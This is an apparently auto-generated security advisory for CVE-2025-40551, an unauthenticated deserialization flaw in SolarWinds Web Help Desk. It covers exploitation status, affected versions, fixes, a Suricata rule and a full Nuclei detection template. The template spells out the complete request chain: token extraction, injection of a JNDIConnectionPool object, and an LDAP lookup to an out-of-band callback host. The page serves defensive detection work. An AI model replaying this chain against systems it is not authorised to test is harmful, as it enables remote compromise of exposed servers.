CVE-2025-40551: SolarWinds Web Help Desk exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

SolarWinds Web Help Desk was found to be susceptible to an untrusted data deserialization vulnerability that could lead to remote code execution, which would allow an attacker to run commands on the host machine. This could be exploited without authentication.

Description quoted from the CVE record (assigned by SolarWinds, published 2026-01-28).

Weakness: CWE-502 Deserialization of Untrusted Data

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2026-02-03
US federal deadline: 2026-02-06
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-00960, CNNVD-202601-4805, EUVD-2025-206426, GHSA-7qrj-j83p-3vqg

VEDAS cluster: VEDAS:DRAKEDINGO

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Research or write-up: https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue

Vulnerability databases and vendor advisories (7)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-206426
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-7qrj-j83p-3vqg
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-40551
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-40551
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202601-4805
Vulnerability database or vendor advisory: https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551
Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2025-40551

29 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.842
very likely to be attacked soon
VEDAS: 0.981
strong exploit evidence
On CISA KEV: Yes, since 2026-02-03
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
SolarWinds Web Help Desk	version 12.8.8 HF1 and below	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: solarwinds web_help_desk, solarwinds_inc. solarwinds_web_help_desk.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551 (vendor-advisory, patch)
https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm (release-notes)

How to detect it

Nuclei template (active check)

Solarwinds - Insecure Deserialization
SolarWinds Web Help Desk was found to be susceptible to an untrusted data deserialization vulnerability that could lead to remote code execution, which would allow an attacker to run commands on the host machine. This could be exploited without authentication.

Name and description quoted from the template, written by VEDAS.

The template sends 6 requests (GET /helpdesk/WebObjects/Helpdesk.woa, GET /helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badpara..., POST /{{externalAuthContainer}}, GET /helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badpara... and 2 more); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2025-40551.yaml

Show the template (195 lines)

yaml

id: CVE-2025-40551

info:
  name: "Solarwinds - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    SolarWinds Web Help Desk was found to be susceptible to an untrusted data deserialization vulnerability that
    could lead to remote code execution, which would allow an attacker to run commands on the host machine. This
    could be exploited without authentication.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-40551&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=solarwinds&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40551
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,solarwinds,webhelpdesk,deserialization,rce,jndi,oast,kev,vkev
flow: |
  http("initial_session") &&
  http("login_pref_page") &&
  http("trigger_saml_object") &&
  http("create_jsonrpc_bridge") &&
  http("create_malicious_object") &&
  http("trigger_jndi_lookup")

http:
  - id: initial_session
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa"
    headers:
      x-webobjects-recording: 1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(tolower(all_headers), "x-webobjects-session-id")
          - contains(tolower(all_headers), "xsrf-token")
          - contains(toupper(all_headers), "JSESSIONID")
        internal: true
        condition: and

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: wosid
        part: header
        regex:
          - "[xX]-[W]ebobjects-[sS]ession-[iI]d: ([a-zA-Z0-9]{22})"
        group: 1
        internal: true

      - type: regex
        name: xsrf_token
        part: header
        group: 1
        regex:
          - "Set-Cookie: XSRF-TOKEN=([a-z0-9-]{36});"
        internal: true

  - id: login_pref_page
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - externalAuthContainer
          - SAML 2.0
        internal: true
        condition: and

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: externalAuthContainer
        part: body
        group: 1
        regex:
          - 'id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk.woa/ajax/[0-9]+\.[0-9]+)'
        internal: true

  - id: trigger_saml_object
    method: POST
    path:
      - "{{BaseURL}}/{{externalAuthContainer}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
    body: 0.7.1.3.1.0.0.0.1.1.0=1&_csrf={{xsrf_token}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: create_jsonrpc_bridge
    method: GET
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/bogus.wo/{{wosid}}/1.0?badparam=/ajax/&wopage=LoginPref"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - JSONRpcClient
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: jsonrpc_endpoint
        part: body
        group: 1
        regex:
          - "JSONRpcClient\\('/helpdesk/WebObjects/Helpdesk.woa/ajax/([0-9.]+)'\\);"
        internal: true

  - id: create_malicious_object
    method: POST
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
      Content-Type: application/json
    body: |
      {
        "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
        "id":1,
        "method":"wopage.setVariableValueForName",
        "params":[
          "malicious",
          {
            "javaClass":"org.apache.xalan.lib.sql.JNDIConnectionPool",
            "jndiPath":"ldap://{{interactsh-url}}/ou=ou,o=o"
          }
        ]
      }

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: trigger_jndi_lookup
    method: POST
    path:
      - "{{BaseURL}}/helpdesk/WebObjects/Helpdesk.woa/wo/{{jsonrpc_endpoint}}"
    headers:
      X-Xsrf-Token: "{{xsrf_token}}"
      Content-Type: application/json
    body: |
      {
        "bypass":"java.parentpopupwonoselectionstringdummymdssubmitlinkmdsform__enterkeypressedmdsform__shiftkeypressedmdsform__altkeypressed_csrf",
        "id":1,
        "method":"wopage.variableValueForName",
        "params":["malicious"]
      }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

CVE-2025-40551.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-40551 Solarwinds - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-40551 Solarwinds - Insecure Deserialization"; flow:established,to_server; http.uri; content:"/helpdesk/WebObjects/Helpdesk.woa"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-40551; reference:url,https://www.exploit.observer/?keyword=CVE-2025-40551&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=solarwinds&match=exact; sid:1008927; rev:1;)

CVE-2025-40551.rules on GitHub

References

Vendor advisories and patches

https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40551 (vendor-advisory, patch)
https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm (release-notes)

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-40551 (government-resource)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.